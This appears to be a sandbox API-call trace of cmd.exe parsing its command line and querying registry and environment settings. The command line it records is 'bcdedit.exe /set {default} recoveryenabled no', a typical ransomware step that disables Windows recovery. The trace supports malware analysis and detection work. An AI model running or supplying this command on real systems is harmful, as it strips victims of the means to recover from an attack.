lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x0, lpData=0x32fe7cc*=0x1, lpcbData=0x32fe7c4*=0x1000) returned 0x2 [0069.086] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x0, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x40, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x40, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x0, lpData=0x32fe7cc*=0x40, lpcbData=0x32fe7c4*=0x1000) returned 0x2 [0069.087] RegCloseKey (hKey=0xcc) returned 0x0 [0069.087] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32fe7c0 | out: phkResult=0x32fe7c0*=0xcc) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x0, lpData=0x32fe7cc*=0x40, lpcbData=0x32fe7c4*=0x1000) returned 0x2 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x1, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x0, lpData=0x32fe7cc*=0x1, lpcbData=0x32fe7c4*=0x1000) returned 0x2 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x0, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x9, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x4, lpData=0x32fe7cc*=0x9, lpcbData=0x32fe7c4*=0x4) returned 0x0 [0069.087] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32fe7c8, lpData=0x32fe7cc, lpcbData=0x32fe7c4*=0x1000 | out: lpType=0x32fe7c8*=0x0, lpData=0x32fe7cc*=0x9, lpcbData=0x32fe7c4*=0x1000) returned 0x2 [0069.087] RegCloseKey (hKey=0xcc) returned 0x0 [0069.087] time (in: timer=0x0 | out: timer=0x0) returned 0x5e44b714 [0069.087] srand (_Seed=0x5e44b714) [0069.087] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c \"bcdedit.exe /set {default} recoveryenabled no\"" [0069.087] malloc (_Size=0x4000) returned 0x38f2338 [0069.088] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c \"bcdedit.exe /set {default} recoveryenabled no\"" [0069.088] malloc (_Size=0xffce) returned 0x3720048 [0069.088] ??_V@YAXPAX@Z () returned 0x32ff7a4 [0069.089] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3720048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.089] malloc (_Size=0xffce) returned 0x3730020 [0069.089] ??_V@YAXPAX@Z () returned 0x32ff578 [0069.089] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3730020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0069.090] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0069.090] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.090] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.090] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0069.090] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0069.090] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0069.090] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0069.090] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0069.090] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0069.090] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0069.090] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0069.090] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0069.090] GetProcessHeap () returned 0x3620000 [0069.090] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x36258d0) returned 1 [0069.090] GetEnvironmentStringsW () returned 0x3624d48* [0069.090] GetProcessHeap () returned 0x3620000 [0069.090] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xb94) returned 0x3627b88 [0069.090] FreeEnvironmentStringsA (penv="A") returned 1 [0069.090] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0069.090] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0069.090] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0069.091] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0069.091] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0069.091] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0069.091] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0069.091] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0069.091] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0069.091] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0069.091] malloc (_Size=0xffce) returned 0x373fff8 [0069.091] ??_V@YAXPAX@Z () returned 0x32ff310 [0069.091] GetProcessHeap () returned 0x3620000 [0069.091] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x38) returned 0x3628728 [0069.091] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x373fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.092] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x373fff8, lpFilePart=0x32ff35c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff35c*="Desktop") returned 0x17 [0069.092] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.092] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32ff0e0 | out: lpFindFileData=0x32ff0e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x3628768 [0069.092] FindClose (in: hFindFile=0x3628768 | out: hFindFile=0x3628768) returned 1 [0069.092] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x32ff0e0 | out: lpFindFileData=0x32ff0e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x3628768 [0069.092] FindClose (in: hFindFile=0x3628768 | out: hFindFile=0x3628768) returned 1 [0069.093] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x32ff0e0 | out: lpFindFileData=0x32ff0e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xeeaeb1df, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xeeaeb1df, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x3628768 [0069.093] FindClose (in: hFindFile=0x3628768 | out: hFindFile=0x3628768) returned 1 [0069.093] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0069.093] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0069.093] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0069.093] GetProcessHeap () returned 0x3620000 [0069.093] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x3627b88) returned 1 [0069.093] GetEnvironmentStringsW () returned 0x3626fe8* [0069.093] GetProcessHeap () returned 0x3620000 [0069.093] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xbcc) returned 0x3628768 [0069.093] FreeEnvironmentStringsA (penv="=") returned 1 [0069.093] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3720048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0069.093] GetProcessHeap () returned 0x3620000 [0069.093] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x3628728) returned 1 [0069.093] ??_V@YAXPAX@Z () returned 0x1 [0069.093] ??_V@YAXPAX@Z () returned 0x1 [0069.093] GetProcessHeap () returned 0x3620000 [0069.093] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x400e) returned 0x3629340 [0069.094] GetProcessHeap () returned 0x3620000 [0069.094] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x6c) returned 0x3625920 [0069.094] GetProcessHeap () returned 0x3620000 [0069.094] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x4008) returned 0x362d358 [0069.094] GetProcessHeap () returned 0x3620000 [0069.094] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x4008) returned 0x3631368 [0069.095] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0069.095] malloc (_Size=0xffce) returned 0x3730020 [0069.095] ??_V@YAXPAX@Z () returned 0x32ff4c4 [0069.096] GetProcessHeap () returned 0x3620000 [0069.096] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x1ffa4) returned 0x3635378 [0069.098] SetErrorMode (uMode=0x0) returned 0x0 [0069.098] SetErrorMode (uMode=0x1) returned 0x0 [0069.098] GetFullPathNameW (in: lpFileName="bcdedit.exe \\.", nBufferLength=0xffce, lpBuffer=0x3635380, lpFilePart=0x32ff4e4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe", lpFilePart=0x32ff4e4*="bcdedit.exe") returned 0x23 [0069.098] SetErrorMode (uMode=0x0) returned 0x1 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlReAllocateHeap (Heap=0x3620000, Flags=0x0, Ptr=0x3635378, Size=0x92) returned 0x3635378 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlSizeHeap (HeapHandle=0x3620000, Flags=0x0, MemoryPointer=0x3635378) returned 0x92 [0069.098] NeedCurrentDirectoryForExePathW (ExeName="bcdedit.exe \\.") returned 1 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x56) returned 0x3625998 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xa0) returned 0x36259f8 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlReAllocateHeap (Heap=0x3620000, Flags=0x0, Ptr=0x36259f8, Size=0x56) returned 0x36259f8 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlSizeHeap (HeapHandle=0x3620000, Flags=0x0, MemoryPointer=0x36259f8) returned 0x56 [0069.098] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb8f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.098] GetProcessHeap () returned 0x3620000 [0069.098] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xe0) returned 0x3625a58 [0069.102] GetProcessHeap () returned 0x3620000 [0069.102] RtlReAllocateHeap (Heap=0x3620000, Flags=0x0, Ptr=0x3625a58, Size=0x76) returned 0x3625a58 [0069.102] GetProcessHeap () returned 0x3620000 [0069.102] RtlSizeHeap (HeapHandle=0x3620000, Flags=0x0, MemoryPointer=0x3625a58) returned 0x76 [0069.102] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.102] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe\\set {default} recoveryenabled no.*", fInfoLevelId=0x1, lpFindFileData=0x32ff270, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ff270) returned 0xffffffff [0069.102] GetLastError () returned 0x3 [0069.102] ??_V@YAXPAX@Z () returned 0x1 [0069.102] GetProcessHeap () returned 0x3620000 [0069.102] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x362d358) returned 1 [0069.103] GetProcessHeap () returned 0x3620000 [0069.103] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x3631368) returned 1 [0069.103] GetProcessHeap () returned 0x3620000 [0069.103] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x3629340) returned 1 [0069.103] GetConsoleOutputCP () returned 0x1b5 [0069.193] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xb93850 | out: lpCPInfo=0xb93850) returned 1 [0069.193] GetUserDefaultLCID () returned 0x409 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb8f82c, cchData=8 | out: lpLCData=":") returned 2 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32ff6cc, cchData=128 | out: lpLCData="0") returned 2 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32ff6cc, cchData=128 | out: lpLCData="0") returned 2 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32ff6cc, cchData=128 | out: lpLCData="1") returned 2 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb8f81c, cchData=8 | out: lpLCData="/") returned 2 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb8f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb8f778, cchData=32 | out: lpLCData="Tue") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb8f738, cchData=32 | out: lpLCData="Wed") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb8f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb8f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb8f678, cchData=32 | out: lpLCData="Sat") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb8f638, cchData=32 | out: lpLCData="Sun") returned 4 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb8f80c, cchData=8 | out: lpLCData=".") returned 2 [0069.194] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb8f7f8, cchData=8 | out: lpLCData=",") returned 2 [0069.194] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0069.196] GetProcessHeap () returned 0x3620000 [0069.196] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x0, Size=0x20c) returned 0x3625b20 [0069.196] GetConsoleTitleW (in: lpConsoleTitle=0x3625b20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0069.287] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000 [0069.287] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330 [0069.287] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930 [0069.287] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0 [0069.287] ??_V@YAXPAX@Z () returned 0x1 [0069.288] GetProcessHeap () returned 0x3620000 [0069.288] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x400a) returned 0x3629340 [0069.288] GetProcessHeap () returned 0x3620000 [0069.288] RtlFreeHeap (HeapHandle=0x3620000, Flags=0x0, BaseAddress=0x3629340) returned 1 [0069.289] _wcsicmp (_String1="bcdedit.exe", _String2=")") returned 57 [0069.289] _wcsicmp (_String1="FOR", _String2="bcdedit.exe") returned 4 [0069.289] _wcsicmp (_String1="FOR/?", _String2="bcdedit.exe") returned 4 [0069.289] _wcsicmp (_String1="IF", _String2="bcdedit.exe") returned 7 [0069.289] _wcsicmp (_String1="IF/?", _String2="bcdedit.exe") returned 7 [0069.289] _wcsicmp (_String1="REM", _String2="bcdedit.exe") returned 16 [0069.289] _wcsicmp (_String1="REM/?", _String2="bcdedit.exe") returned 16 [0069.289] GetProcessHeap () returned 0x3620000 [0069.289] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x58) returned 0x3625d38 [0069.289] GetProcessHeap () returned 0x3620000 [0069.289] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x20) returned 0x3625d98 [0069.290] GetProcessHeap () returned 0x3620000 [0069.290] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x4e) returned 0x3625dc0 [0069.291] GetConsoleTitleW (in: lpConsoleTitle=0x32ff5c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0069.413] malloc (_Size=0xffce) returned 0x3732688 [0069.414] ??_V@YAXPAX@Z () returned 0x32ff34c [0069.414] malloc (_Size=0xffce) returned 0x3742660 [0069.414] ??_V@YAXPAX@Z () returned 0x32ff104 [0069.415] GetFileAttributesW (lpFileName="bcdedit.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\bcdedit.exe")) returned 0xffffffff [0069.415] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0069.415] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0069.415] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0069.415] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0069.415] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0069.415] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0069.415] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0069.415] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0069.415] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0069.416] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0069.416] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0069.416] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0069.416] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0069.416] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0069.416] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0069.416] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0069.416] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0069.416] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0069.416] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0069.416] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0069.416] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0069.416] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0069.416] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0069.416] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0069.416] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0069.416] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0069.416] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0069.416] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0069.416] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0069.416] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0069.416] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0069.416] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0069.416] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0069.416] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0069.416] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0069.416] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0069.416] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0069.416] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0069.416] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0069.416] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0069.416] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0069.416] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0069.416] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0069.416] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0069.416] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0069.416] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0069.417] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0069.417] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0069.417] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0069.417] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0069.417] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0069.417] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0069.417] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0069.417] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0069.417] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0069.417] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0069.417] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0069.417] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0069.417] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0069.417] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0069.417] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0069.417] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0069.417] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0069.417] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0069.417] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0069.417] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0069.417] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0069.417] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0069.417] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0069.417] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0069.417] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0069.417] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0069.417] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0069.417] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0069.417] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0069.417] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0069.417] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0069.417] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0069.417] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0069.417] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0069.417] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0069.417] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0069.417] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0069.418] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0069.418] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0069.418] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0069.418] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0069.418] ??_V@YAXPAX@Z () returned 0x1 [0069.418] GetProcessHeap () returned 0x3620000 [0069.418] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0xffd6) returned 0x3635418 [0069.419] GetProcessHeap () returned 0x3620000 [0069.419] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x66) returned 0x3625e18 [0069.419] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0069.419] malloc (_Size=0xffce) returned 0x3742660 [0069.420] ??_V@YAXPAX@Z () returned 0x32fee84 [0069.420] GetProcessHeap () returned 0x3620000 [0069.420] RtlAllocateHeap (HeapHandle=0x3620000, Flags=0x8, Size=0x1ffa4) returned 0x36453f8 [0069.422] SetErrorMode (uMode=0x0) returned 0x0 [0069.422] SetErrorMode (uMode=0x1) returned 0x0 [0069.422] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3645400, lpFilePart=0x32feea4 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32feea4*="Desktop") returned 0x17 [0069.422] SetErrorMode (uMode=0x0) returned 0x1 [0069.422] GetProcessHeap () returned 0x3620000 [0069.422] RtlReAllocateHeap (Heap=0x3620000, Flags=0x0, Ptr=0x36453f8, Size=0x50) returned 0x36453f8 [0069.422] GetProcessHeap () returned 0x3620000 [0069.422] 